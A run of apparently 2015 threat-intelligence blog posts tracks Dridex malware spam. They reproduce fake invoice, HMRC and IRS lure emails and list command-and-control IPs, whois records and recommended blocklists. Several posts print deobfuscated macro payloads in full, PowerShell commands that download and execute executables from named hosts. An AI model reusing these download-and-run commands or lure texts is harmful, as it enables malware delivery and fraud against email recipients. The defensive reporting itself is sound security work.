37.59.50.19 (OVH, France)
62.76.179.44 (Clodo-Cloud, Russia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
185.25.150.33 (NetDC.pl, Poland)
104.232.32.119 (Net3, US)
188.120.243.159 (TheFirst.RU, Russia)
Recommended blocklist:
31.41.45.211
62.213.67.115
80.150.6.138
42.117.1.88
188.225.77.242
212.224.113.144
37.59.50.19
62.76.179.44
95.163.121.0/24
185.25.150.3
104.232.32.119
188.120.243.159
Labels:
DINETHOSTING,
Dridex,
EXE-in-ZIP,
France,
Malware,
OVH,
Poland,
Russia,
Spam,
TheFirst-RU,
Viruses,
Voice Mail
Malware spam: BACS "Remittance Advice" / HMRC "Your Tax rebate"
From: Long Fletcher
Date: 11 March 2015 at 09:44
Subject: Remittance Advice
Good Morning,
Please find attached the BACS Remittance Advice for payment made by RENEW HLDGS.
Please note this may show on your account as a payment reference of FPALSDB.
Kind Regards
Long Fletcher
Finance Coordinator
Attachment: LSDB.xls
----------
From: Vaughn Baker
Date: 11 March 2015 at 09:27
Subject: Your Remittance Advice [FPABHKZCNZ]
Good Morning,
Please find attached the BACS Remittance Advice for payment made by JD SPORTS FASHION PLC.
Please note this may show on your account as a payment reference of FPABHKZCNZ.
Kind Regards
Vaughn Baker
Senior Accountant
----------
From: HMRC
Date: 11 March 2015 at 10:04
Subject: Your Tax rebate
Dear [redacted],
After the last yearly computations of your financial functioning we have defined that you have the right to obtain a tax rebate of 934.80. Please confirm the tax rebate claim and permit us have 6-9 days so that we execute it. A rebate can be postponed for a variety of reasons. For instance confirming unfounded data or applying not in time.
To access the form for your tax rebate, view the report attached. Document Reference: (196XQBK).
Regards, HM Revenue Service. We apologize for the inconvenience.
The security and confidentiality of your personal information is important for us. If you have any questions, please either call the toll-free customer service phone number.
© 2014, all rights reserved
Sample attachment names:
HMRC: 196XQBK.xls, 89WDZ.xls
BACS: LSDB.xls, Rem_8392TN.xml (note that this is actually an Excel document, not an XML file)
All of these documents have low detection rates [1] [2] [3] [4] and contain these very similar malicious macros (containing sandbox detection algorithms) [1] [2] [3] [4] which when decrypted attempt to run the following Powershell commands:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.39/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;These are probably compromised hosts, for the record they are:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://93.170.123.36/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.30.42.177/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;
193.26.217.39 (Servachok Ltd, Russia)
93.170.123.36 (PE Gornostay Mikhailo Ivanovich, Ukraine)
85.143.166.190 (Pirix, Russia)
46.30.42.177 (EuroByte / Webazilla, Russia)
These download a CAB file, and then expand and execute it. This EXE has a detection rate of 4/57 and automated analysis tools [1] [2] show attempted traffic to:
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
188.120.226.6 (TheFirst.RU, Russia)
188.165.5.194 (OVH, France)
According to this Malwr report it drops two further malicious files with the following MD5s:
c6cdf73eb5d11ac545f291bc668fd7fe
8d3a1903358c5f3700ffde113b93dea6 [VT 2/56]
Recommended blocklist:
95.163.121.0/24
188.120.226.6
188.165.5.194
193.26.217.39
93.170.123.36
85.143.166.190
46.30.42.177
Friday, 6 March 2015
Malware spam: "Mick George Invoice 395687" / "Mick George Invoicing [mginv@mickgeorge.co.uk]"
This malformed spam is meant to have a malicious attachment:
The email looks like a genuine email because it has been copied from a genuine email from this company, but Mick George Skips are not actually sending this out. Instead it is a simple forgery.
What you are meant to have attached is a Word document Invoice395687.DOC which comes in several varieties, but they all contain a malicious macro similar to this which (in this case) downloads a component from http://schlaghaufer.de/js/bin.exe
This malware and the payload it drops is identical to the one found in this fake IRS spam run earlier today.
From: Mick George Invoicing [mginv@mickgeorge.co.uk]Something has gone wrong with the formatting, it is meant to look like this:
Date: 6 March 2015 at 09:29
Subject: Mick George Invoice 395687
Please find attached a copy of your invoice 395687.
If you have any queries regarding the invoice, please do not hesitate to co=
ntact us by emailing mginv@mickgeorge.co.uk<mailto:mginv@mickegeorge.co.uk>=
or calling our finance department on 01480 499125.
Regards
Finance Team
MICK GEORGE[http://mickgeorgeskips.co.uk/wp-content/uploads/2014/08/image00=
1.jpg] (r)
T: 01480 499125
F: 01480 498077
www.mickgeorge.co.uk<http://www.mickgeorge.co.uk/>
Lancaster House, Meadow Lane, St Ives, Cambs, PE27 4YQ [http://mickgeorges=
kips.co.uk/wp-content/uploads/2014/08/image003.jpg] <https://plus.google.co=
m/109160871896788819541/posts> [http://mickgeorgeskips.co.uk/wp-content/=
uploads/2014/08/image004.jpg] <https://twitter.com/mickgeorgeltd>
Specialists in Earthworks * Aggregates * Skip Hire * Contaminated Land Serv=
ices & Remediation * Demolition * Contracting
Waste Management & Recycling * Landfill & Tipping Facilities * Asbestos Rem=
oval * Ready Mix Concrete & Floor Screeds
[Concrete signature]<http://mickgeorgeskips.co.uk/wp-content/uploads/2014/0=
8/Concrete-signature.jpg>
Disclaimer
This email and any attachments are intended only for the use of the individ=
ual or entity to which it is directed and may contain information that is p=
rivileged, confidential and exempt from disclosure under applicable law.
If you have received this email and you are not the intended recipient or t=
he employee or agent responsible for delivering this email to the intended =
recipient, please inform Mick George on +44 (0)1480 498099 and then delete =
the email from your system. If you are not a named addressee you must not u=
se, disclose, disseminate, distribute, copy, print or reply to this email.
Although Mick George Ltd routinely screens for viruses, addressees should s=
can this email and any attachments for viruses. Mick George Ltd makes no re=
presentation or warranty as to the absence of viruses in this email or any =
attachments. Please note for the protection of our clients and business, we=
may monitor and read emails sent to and from our server(s).
Mick George Ltd
Please find attached a copy of your invoice 395687.
If you have any queries regarding the invoice, please do not hesitate to contact us by emailing mginv@mickgeorge.co.uk or calling our finance department on 01480 499125.
Regards
Finance Team
MICK GEORGE ®
T: 01480 499125
F: 01480 498077
www.mickgeorge.co.uk
Specialists in Earthworks • Aggregates • Skip Hire • Contaminated Land Services & Remediation • Demolition • Contracting
Lancaster House, Meadow Lane, St Ives, Cambs, PE27 4YQ
Waste Management & Recycling • Landfill & Tipping Facilities • Asbestos Removal • Ready Mix Concrete & Floor Screeds
Disclaimer
This email and any attachments are intended only for the use of the individual or entity to which it is directed and may contain information that is privileged, confidential and exempt from disclosure under applicable law.
If you have received this email and you are not the intended recipient or the employee or agent responsible for delivering this email to the intended recipient, please inform Mick George on +44 (0)1480 498099 and then delete the email from your system. If you are not a named addressee you must not use, disclose, disseminate, distribute, copy, print or reply to this email.
Although Mick George Ltd routinely screens for viruses, addressees should scan this email and any attachments for viruses. Mick George Ltd makes no representation or warranty as to the absence of viruses in this email or any attachments. Please note for the protection of our clients and business, we may monitor and read emails sent to and from our server(s).
Mick George Ltd
Registered no. 2417831 (England)
The email looks like a genuine email because it has been copied from a genuine email from this company, but Mick George Skips are not actually sending this out. Instead it is a simple forgery.
What you are meant to have attached is a Word document Invoice395687.DOC which comes in several varieties, but they all contain a malicious macro similar to this which (in this case) downloads a component from http://schlaghaufer.de/js/bin.exe
This malware and the payload it drops is identical to the one found in this fake IRS spam run earlier today.
Malware spam: "Your 2015 Electronic IP Pin!" / "Internal Revenue Service [refund.noreply@irs.gov]"
This fake IRS email comes with a malicious attachment.
So far I have only seen a single sample of this with an attachment TaxReport(IP_PIN).doc - although there are usually several different versions. Currently this is undetected by AV vendors. This contains a malicious macro [pastebin] which downloads a component from the following location:
http://chihoiphunumos.ru/js/bin.exe
There are probably other download locations, but the payload will be the same. This is saved as %TEMP%\324235235.exe and has a detection rate of 1/55. Automated analysis tools [1] [2] show attempted connections to:
92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)
According to the Malwr report this executable drops another version of itself [VT 1/56] and a malicious DLL [VT 2/56].
Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24
104.232.32.119
87.236.215.103
From: Internal Revenue Service [refund.noreply@irs.gov]
Date: 6 March 2015 at 08:48
Subject: Your 2015 Electronic IP Pin!
Dear Member
This is to inform you that our system has generated your new secured Electronic PIN to e-file your 2014 tax return.
Please kindly download the microsoft file to securely review it.
Thanks
Internal Revenue Service
915 Second Avenue, MS W180
So far I have only seen a single sample of this with an attachment TaxReport(IP_PIN).doc - although there are usually several different versions. Currently this is undetected by AV vendors. This contains a malicious macro [pastebin] which downloads a component from the following location:
http://chihoiphunumos.ru/js/bin.exe
There are probably other download locations, but the payload will be the same. This is saved as %TEMP%\324235235.exe and has a detection rate of 1/55. Automated analysis tools [1] [2] show attempted connections to:
92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)
According to the Malwr report this executable drops another version of itself [VT 1/56] and a malicious DLL [VT 2/56].
Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24
104.232.32.119
87.236.215.103
Thursday, 5 March 2015
Malware spam: "Bobby Drell [rob@abbottpainting.com]" / "Brochure2.doc"
This spam does not come from Bobby Drell or Abbott Painting, instead it is a simple forgery with a malicious attachment.
http://data.gmsllp.com/js/bin.exe
This is saved as %TEMP%\324235235.exe. Note that there may be different versions of this document that download files from different locations, but the payload should be identical. In this case the executable has a detection rate of 4/57.
Automated analysis tools [1] [2] show it phoning home to the following IPs:
92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks aka DINETHOSTING, Russia)
Usually this will drop a malicious Dridex DLL, although I was not able to obtain a sample.
Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24
From: Bobby Drell [rob@abbottpainting.com]Attached is a file Brochure2.doc which has a low detection rate which contains this malicious macro [pastebin] which downloads a component from the following location:
Date: 5 March 2015 at 10:27
Subject: Brochure2.doc
Please change the year to 2015.
Please confirm receipt
Thanks
Bobby Drell
http://data.gmsllp.com/js/bin.exe
This is saved as %TEMP%\324235235.exe. Note that there may be different versions of this document that download files from different locations, but the payload should be identical. In this case the executable has a detection rate of 4/57.
Automated analysis tools [1] [2] show it phoning home to the following IPs:
92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks aka DINETHOSTING, Russia)
Usually this will drop a malicious Dridex DLL, although I was not able to obtain a sample.
Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24
Wednesday, 25 February 2015
Malware spam: "Your LogMeIn Pro payment has been processed!"
This fake financial email does not come from LogMeIn, instead it has a malicious attachment:
http://junidesign.de/js/bin.exe
This is saved as %TEMP%\GHjkdfg.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] [3] show this calling home to the following IPs:
92.63.87.13 (MTWV, Latvia)
86.104.134.156 (One Telecom, Moldova)
217.12.203.34 (ITL, Bulgaria)
108.61.165.19 (Choopa LLC, Netherlands)
5.196.241.196 (OVH, Ireland)
66.110.179.66 (Microtech Tel, US)
202.44.54.5 (World Internetwork Corporation, Thailand)
95.163.121.179 (Digital Networks aka DINETHOSTING, Russia)
59.97.137.171 (Broadband Multiplay, India)
78.140.164.160 (Webazilla, US)
107.181.174.104 (Colo at 55, US / UA Servers, Ukraine)
I outlined some of the problems with MVTW in this post. The Malwr report shows that among other activities, this drops an executable that seems to be another version of itself [VT 3/57] and a malicious DLL which is probably a Dridex component [VT 4/57].
Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
86.104.134.156
217.12.203.34
108.61.165.19
5.196.241.196
66.110.179.66
202.44.54.5
95.163.121.179
59.97.137.171
78.140.164.160
107.181.174.104
UPDATE: a different version of the attachment [VT] uses this macro to download from:
http://jacekhondel.w.interia.pl/js/bin.exe
The payload is identical to the other variant.
From: LogMeIn.com [no_reply@logmein.com]Attached is a malicious Excel document called logmein_pro_receipt.xls with a VirusTotal detection rate of 0/56. Usually in a spam run like this there are several different versions of the document but so far I have only seen one, containing this malicious macro. The macro downloads a file from:
Date: 25 February 2015 at 08:52
Subject: Your LogMeIn Pro payment has been processed!
Dear client,
Thank you for purchasing our yearly plan for LogMeIn Pro on 25 computers.
Your credit card has been successfully charged.
Date : 25/2/2015
Amount : $999 ( you saved $749.75)
The transaction details can be found in the attached receipt.
Your computers will be automatically upgraded the next time you sign in.
Thank you for choosing LogMeIn!
http://junidesign.de/js/bin.exe
This is saved as %TEMP%\GHjkdfg.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] [3] show this calling home to the following IPs:
92.63.87.13 (MTWV, Latvia)
86.104.134.156 (One Telecom, Moldova)
217.12.203.34 (ITL, Bulgaria)
108.61.165.19 (Choopa LLC, Netherlands)
5.196.241.196 (OVH, Ireland)
66.110.179.66 (Microtech Tel, US)
202.44.54.5 (World Internetwork Corporation, Thailand)
95.163.121.179 (Digital Networks aka DINETHOSTING, Russia)
59.97.137.171 (Broadband Multiplay, India)
78.140.164.160 (Webazilla, US)
107.181.174.104 (Colo at 55, US / UA Servers, Ukraine)
I outlined some of the problems with MVTW in this post. The Malwr report shows that among other activities, this drops an executable that seems to be another version of itself [VT 3/57] and a malicious DLL which is probably a Dridex component [VT 4/57].
Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
86.104.134.156
217.12.203.34
108.61.165.19
5.196.241.196
66.110.179.66
202.44.54.5
95.163.121.179
59.97.137.171
78.140.164.160
107.181.174.104
UPDATE: a different version of the attachment [VT] uses this macro to download from:
http://jacekhondel.w.interia.pl/js/bin.exe
The payload is identical to the other variant.
Monday, 16 February 2015
Malware spam: "T.A.G. (The Automotive Group) Ltd." / "Lawrence Fisher [l.fisher@taghire.co.uk]" / invoice
This fake invoice does not come from The Automotive Group Ltd or any similarly-named company. Their systems have not been compromised in any way. Instead, this is a forgery with a malicous attachment. Note that the taghire.co.uk simply shows "Under Construction".
http://laikah.de/js/bin.exe
Usually there are two or three versions of this document, but I have only seen one. If you look at the macro code itself, the download location is not encrypted in the code although other elements of the process are encrypted with a string + key combination. Those combinations contain non-printable characters, possibly in an attempt to avoid anaylsus,
This .exe file is downloaded as %TEMP%\345435.exe and it has a VirusTotal detection rate of 3/57. Automated reporting tools [1] [2] [3] show that this POSTS to 37.139.47.105. It appears that communication is attempted with the following IPs:
37.139.47.105 (Pirix, Russia)
78.140.164.160 (Webazilla, US)
95.163.121.179 (Digital Networks, Russia)
86.104.134.156 (One Telecom, Moldova)
117.223.58.214 (BSNL / Broadband Multiplay, India)
109.234.38.70 (McHost, Russia)
Also, according to the Malwr report, a DLL is dropped with a detection rate of 3/57.
Recommended blocklist:
37.139.47.105
78.140.164.160
95.163.121.179
86.104.134.156
117.223.58.214
109.234.38.70
From: Lawrence Fisher [l.fisher@taghire.co.uk]So far I have only seen one sample of this, with an attachment named Invoice 0215.doc which has zero detections according to VirusTotal. It contains an obfuscated Word macro which downloads an additional component from:
Date: 16 February 2015 at 08:25
Subject: invoice
Here is the invoice
Kind Regards,
Lawrence Fisher
T.A.G. (The Automotive Group) Ltd.
Unit 22 Coney Green Business Centre Wingfield View, Clay Cross, Chesterfield
Tel: 020 3750 0638
Description: 150px Crop Background Remove Logo
This e-mail is confidential and may be privileged. It may be read, copied and used only by the intended recipient. If you have received it in error, please contact the sender immediately by return e-mail or by telephoning 020 3750 0638
http://laikah.de/js/bin.exe
Usually there are two or three versions of this document, but I have only seen one. If you look at the macro code itself, the download location is not encrypted in the code although other elements of the process are encrypted with a string + key combination. Those combinations contain non-printable characters, possibly in an attempt to avoid anaylsus,
This .exe file is downloaded as %TEMP%\345435.exe and it has a VirusTotal detection rate of 3/57. Automated reporting tools [1] [2] [3] show that this POSTS to 37.139.47.105. It appears that communication is attempted with the following IPs:
37.139.47.105 (Pirix, Russia)
78.140.164.160 (Webazilla, US)
95.163.121.179 (Digital Networks, Russia)
86.104.134.156 (One Telecom, Moldova)
117.223.58.214 (BSNL / Broadband Multiplay, India)
109.234.38.70 (McHost, Russia)
Also, according to the Malwr report, a DLL is dropped with a detection rate of 3/57.
Recommended blocklist:
37.139.47.105
78.140.164.160
95.163.121.179
86.104.134.156
117.223.58.214
109.234.38.70
Friday, 13 February 2015
Something evil on 95.163.121.0/24 (Digital Network JSC / com4tel.ru / cloudavt.com)
I've written about DINETHOSTING aka Digital Network JSC many times before, and frankly their entire IP range is a sea of crap, and I have a whole load of blocks in the 95.163.64.0/18 range (including the entirity of 95.163.64.0/10). This latest sea of badness seems to be suballocated to a customer using the 95.163.121.0/24 block.
inetnum: 95.163.121.0 - 95.163.121.255
netname: RU-CLOUDAVT-NET
descr: LLC ABT Cloud Network
country: RU
admin-c: PPP9992-RIPE
tech-c: PPP9992-RIPE
status: ASSIGNED PA
mnt-by: DN-MNT
changed: ncc@msm.ru 20150213
source: RIPE
person: Andrey Tkachenko
address: 107589, Russia Moscow street Khabarovsk 4A
e-mail: cc-it@com4tel.ru
phone: +7 916 626 7798
fax-no: +7 916 626 7798
nic-hdl: PPP9992-RIPE
abuse-mailbox: info@cloudavt.com
mnt-by: DN-MNT
changed: noc@msm.ru 20140429
source: RIPE
route: 95.163.64.0/18
descr: Digital Network JSC
descr: Moscow, Russia
descr: http://www.msm.ru
descr: aggregate prefix
origin: AS12695
mnt-by: DN-MNT
changed: noc@msm.ru 20121129
source: RIPE
Tools
Just looking at blog posts, I can see badness occurring in the recent past on the following IPs:
95.163.121.71 [1]
95.163.121.72 [2]
95.163.121.188 [3]
95.163.121.216 [4]
95.163.121.217 [5]
That's quite a high concentration of bad servers in a relatively small block. A quick look at what is currently hosted indicates (in my personal opinion) nothing of value, and I would recommend blocking the entire 95.163.121.0/24 range as a precaution.
inetnum: 95.163.121.0 - 95.163.121.255
netname: RU-CLOUDAVT-NET
descr: LLC ABT Cloud Network
country: RU
admin-c: PPP9992-RIPE
tech-c: PPP9992-RIPE
status: ASSIGNED PA
mnt-by: DN-MNT
changed: ncc@msm.ru 20150213
source: RIPE
person: Andrey Tkachenko
address: 107589, Russia Moscow street Khabarovsk 4A
e-mail: cc-it@com4tel.ru
phone: +7 916 626 7798
fax-no: +7 916 626 7798
nic-hdl: PPP9992-RIPE
abuse-mailbox: info@cloudavt.com
mnt-by: DN-MNT
changed: noc@msm.ru 20140429
source: RIPE
route: 95.163.64.0/18
descr: Digital Network JSC
descr: Moscow, Russia
descr: http://www.msm.ru
descr: aggregate prefix
origin: AS12695
mnt-by: DN-MNT
changed: noc@msm.ru 20121129
source: RIPE
Tools
Just looking at blog posts, I can see badness occurring in the recent past on the following IPs:
95.163.121.71 [1]
95.163.121.72 [2]
95.163.121.188 [3]
95.163.121.216 [4]
95.163.121.217 [5]
That's quite a high concentration of bad servers in a relatively small block. A quick look at what is currently hosted indicates (in my personal opinion) nothing of value, and I would recommend blocking the entire 95.163.121.0/24 range as a precaution.
Labels:
DINETHOSTING,
Evil Network,
Russia
Wednesday, 11 February 2015
Malware spam: "Your latest e-invoice from.."
This fake invoice spam has a malicious attachment:
Your latest e-invoice from HSBC HLDGS
Your latest e-invoice from MAVEN INCOME & GROWTH VCT 3 PLC
Your latest e-invoice from DDD GROUP PLC
Your latest e-invoice from BAILLIE GIFFORD SHIN NIPPON
Your latest e-invoice from ACAL
Your latest e-invoice from PARAGON DIAMONDS LTD
Your latest e-invoice from TULLETT PREBON PLC
Your latest e-invoice from MERSEY DOCKS & HARBOUR CO
Your latest e-invoice from HOLDERS TECHNOLOGY
Your latest e-invoice from LED INTL HLDGS LTD
Your latest e-invoice from HALOS
Your latest e-invoice from ACORN INCOME FUND
Your latest e-invoice from BLACKROCK WORLD MINING TRUST PLC
Your latest e-invoice from NATURE GROUP PLC
Your latest e-invoice from OPTOS
Your latest e-invoice from MENZIES(JOHN)
Your latest e-invoice from ATLANTIC COAL PLC
The word document is randomly-named, for example 256IFV.doc, 19093WZ.doc and 097DVN.doc. There are three different versions of this malicious document, all with low detection rates [1] [2] [3] containing a slightly different macro in each case [1] [2] [3]. If we deobfuscate the macro, we see some code like this:
http://136.243.237.222:8080/hhacz45a/mnnmz.php (Hetzer, Germany)
http://185.48.56.62:8080/hhacz45a/mnnmz.php (Sinarohost, Netherlands)
http://95.163.121.216:8080/hhacz45a/mnnmz.php (Digital Networks aka DINETHOSTING, Russia)
The code is downloaded as zzcasr.exe and is then saved as %TEMP%\pJIOfdfs.exe. This binary is of course malicious, with a detection rate of 5/57.
Automated analysis tools [1] [2] [3] [4] [5] show that it attempts to contact the following IPs:
85.143.166.72 (Pirix, Russia)
92.63.88.97 (MWTV, Latvia)
205.185.119.159 (FranTech Solutions, US)
78.129.153.18 (IOmart, UK)
5.14.26.146 (RCS & RDS Residential, Romania)
The malware probably drops a Dridex DLL, although I have not been able to obtain this.
Recommended blocklist:
85.143.166.72
92.63.88.97
205.185.119.159
78.129.153.18
5.14.26.146
136.243.237.222
185.48.56.62
95.163.121.216
(Note, for researchers only a copy of the files can be found here, password=infected)
From: Lydia OnealThe company name and the name of the sender varies, but most of the body text remains identical. Some sample subjects are:
Date: 11 February 2015 at 09:14
Subject: Your latest e-invoice from HSBC HLDGS
Dear Valued Customer,
Please find attached your latest invoice that has been posted to your online account. You’ll be pleased to know that your normal payment terms still apply as detailed on your invoice.
Rest assured, we operate a secure system, so we can confirm that the invoice DOC originates from HSBC HLDGS and is authenticated with a digital signature.
Thank you for using e-invoicing with HSBC HLDGS - the smarter, faster, greener way of processing invoices.
This message and any attachment are confidential and may be privileged or otherwise protected from disclosure.
If you are not the intended recipient, please telephone or email the sender and delete this message and any attachment from your system.
If you are not the intended recipient you must not copy this message or attachment or disclose the contents to any other person.
Your latest e-invoice from HSBC HLDGS
Your latest e-invoice from MAVEN INCOME & GROWTH VCT 3 PLC
Your latest e-invoice from DDD GROUP PLC
Your latest e-invoice from BAILLIE GIFFORD SHIN NIPPON
Your latest e-invoice from ACAL
Your latest e-invoice from PARAGON DIAMONDS LTD
Your latest e-invoice from TULLETT PREBON PLC
Your latest e-invoice from MERSEY DOCKS & HARBOUR CO
Your latest e-invoice from HOLDERS TECHNOLOGY
Your latest e-invoice from LED INTL HLDGS LTD
Your latest e-invoice from HALOS
Your latest e-invoice from ACORN INCOME FUND
Your latest e-invoice from BLACKROCK WORLD MINING TRUST PLC
Your latest e-invoice from NATURE GROUP PLC
Your latest e-invoice from OPTOS
Your latest e-invoice from MENZIES(JOHN)
Your latest e-invoice from ATLANTIC COAL PLC
The word document is randomly-named, for example 256IFV.doc, 19093WZ.doc and 097DVN.doc. There are three different versions of this malicious document, all with low detection rates [1] [2] [3] containing a slightly different macro in each case [1] [2] [3]. If we deobfuscate the macro, we see some code like this:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';The macro is calling Powershell to download and execute code from these locations:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://95.163.121.216:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
http://136.243.237.222:8080/hhacz45a/mnnmz.php (Hetzer, Germany)
http://185.48.56.62:8080/hhacz45a/mnnmz.php (Sinarohost, Netherlands)
http://95.163.121.216:8080/hhacz45a/mnnmz.php (Digital Networks aka DINETHOSTING, Russia)
The code is downloaded as zzcasr.exe and is then saved as %TEMP%\pJIOfdfs.exe. This binary is of course malicious, with a detection rate of 5/57.
Automated analysis tools [1] [2] [3] [4] [5] show that it attempts to contact the following IPs:
85.143.166.72 (Pirix, Russia)
92.63.88.97 (MWTV, Latvia)
205.185.119.159 (FranTech Solutions, US)
78.129.153.18 (IOmart, UK)
5.14.26.146 (RCS & RDS Residential, Romania)
The malware probably drops a Dridex DLL, although I have not been able to obtain this.
Recommended blocklist:
85.143.166.72
92.63.88.97
205.185.119.159
78.129.153.18
5.14.26.146
136.243.237.222
185.48.56.62
95.163.121.216
(Note, for researchers only a copy of the files can be found here, password=infected)
Thursday, 15 January 2015
Malware spam: Payment request of 4176.94 (14 JAN 2015)
from: Alan CaseOther names and job titles seen include:
date: 15 January 2015 at 08:49
subject: Payment request of 4176.94 (14 JAN 2015)
Dear Sirs,
Sub: Remitance of GBP 4176.94
This is with reference to the above, we request you to kindly remit GBP 4176.94 in favor of our bank account.
For more information on our bank details please refer to the attached document.
Thanking you,
Alan Case Remittance Manager
Alan Case
Melisa Howell
Brooke Barr
Nanette Lloyd
Holly Hartman
Doreen Mclean
Lonnie Boyer
Jessica Richardson
Celeste Singleton
Katie Hahn
Marilyn Barnett
Lois Powell
Donald Yang
Christina Grimes
Keenan Graham
Muriel Prince
Chance Salazar
Francine Nixon
Accounting Team
Senior Accounts
Senior Accounts Payable
Senior Accountant
General Manager
Remittance Manager
The payment amount, name and job title change in each spam, as does the name of the attachment (although this following the format ADV0000XX). There are three malicious Word documents that I have seen, each with a low detection rate at VirusTotal [1] [2] [3] which in turn contain a slightly different macro [1] [2] [3] which attempt to download another component from one of the following locations:
http://95.163.121.71:8080/mopsi/popsi.php
http://95.163.121.72:8080/mopsi/popsi.php
http://136.243.237.204:8080/mopsi/popsi.php
Note the two adjacent IPs of 95.163.121.71 and 95.163.121.72 which belong to Digital Networks CJSC in Russia (aka DINETHOSTING), an IP range of 95.163.64.0/18 that I would recommend you consider blocking. 136.243.237.204 is a Hetzner IP.
The macro downloads a file g08.exe from these locations which is then saved as %TEMP%\UGvdfg.exe. This has a VirusTotal detection rate of 4/57. That VT report also shows the malware attempting to POST to 194.146.136.1:8080 (PE "Filipets Igor Victorovych", Ukraine) which is a well-known bad IP.
The Malwr report is inconclusive, but this exectuable probably drops a Dridex DLL.
Recommended blocklist:
194.146.136.1
95.163.121.71
95.163.121.72
136.243.237.204
UPDATE: the following are Dridex C&C servers which you should also block:
80.237.255.196
85.25.20.107
Tuesday, 2 September 2014
Something evil on 95.163.121.188 (Sweet Orange EK)
95.163.121.188 is currently hosting the Sweet Orange Exploit Kit (hat tip). The IP is allocated to Digital Networks CJSC (aka DINETHOSTING) that has featured on this blog many times before.
Currently I can see the following domains active on this IP address. Ones highlighted are flagged as malicious by Google.
cdn2.sefu.co
cdn3.sefu.co
cdn4.sefu.co
cdn5.sefu.co
cdn.seefu.co
cdn2.seefu.co
cdn3.seefu.co
cdn.seefoo.co
cdn2.seefoo.co
cdn3.seefoo.co
cdn.critico.co
cdn.easynet.co
cdn.networkguys.co
cdn.tequilacritico.es
cdn2.tequilacritico.es
cdn3.tequilacritico.es
cdn4.tequilacritico.es
cdn5.tequilacritico.es
cdn.critico.com.mx
cdn.critico.mx
cdn.thecritico.mx
cdn2.thecritico.mx
cdn4.thecritico.mx
cdn5.thecritico.mx
cdn.tequilacritico.mx
cdn2.tequilacritico.mx
cdn3.tequilacritico.mx
cdn4.tequilacritico.mx
cdn5.tequilacritico.mx
cdn.sweetip.uk.com
cdn2.sweetip.uk.com
cdn3.sweetip.uk.com
cdn4.sweetip.uk.com
cdn5.sweetip.uk.com
cdn.sweetip.com
cdn2.sweetip.com
cdn3.sweetip.com
cdn4.sweetip.com
cdn5.sweetip.com
cdn.brazitel.com
cdn.thecritico.com
cdn2.thecritico.com
cdn3.thecritico.com
cdn4.thecritico.com
cdn5.thecritico.com
google.chagwichita.com
cdn.tequilatimes.com
cdn2.tequilatimes.com
cdn3.tequilatimes.com
cdn4.tequilatimes.com
cdn5.tequilatimes.com
google.ajdistributor.com
cdn.netguysglobal.com
cdn.tequilacritics.com
cdn2.tequilacritics.com
cdn3.tequilacritics.com
cdn4.tequilacritics.com
cdn5.tequilacritics.com
cdn.mcelectricalinc.com
cdn.tequilaspectator.com
cdn2.tequilaspectator.com
cdn3.tequilaspectator.com
cdn4.tequilaspectator.com
cdn5.tequilaspectator.com
cdn.primrosebrentwood.com
cdn.tequilaguildofamerica.com
cdn2.tequilaguildofamerica.com
cdn3.tequilaguildofamerica.com
cdn4.tequilaguildofamerica.com
cdn5.tequilaguildofamerica.com
cdn.primrosenashvillemidtown.com
cdn.seefu.net
cdn2.seefu.net
cdn3.seefu.net
cdn4.seefu.net
cdn5.seefu.net
cdn.seefoo.net
cdn2.seefoo.net
cdn3.seefoo.net
cdn.sweetip.net
cdn2.sweetip.net
cdn3.sweetip.net
cdn4.sweetip.net
cdn5.sweetip.net
cdn.networkguys.net
cdn2.networkguys.net
cdn3.networkguys.net
cdn.tequilacritico.net
cdn2.tequilacritico.net
cdn3.tequilacritico.net
cdn4.tequilacritico.net
cdn5.tequilacritico.net
cdn.gandco.pro
cdn.primrosebrentwood.xyz
cdn.tequilatimes.info
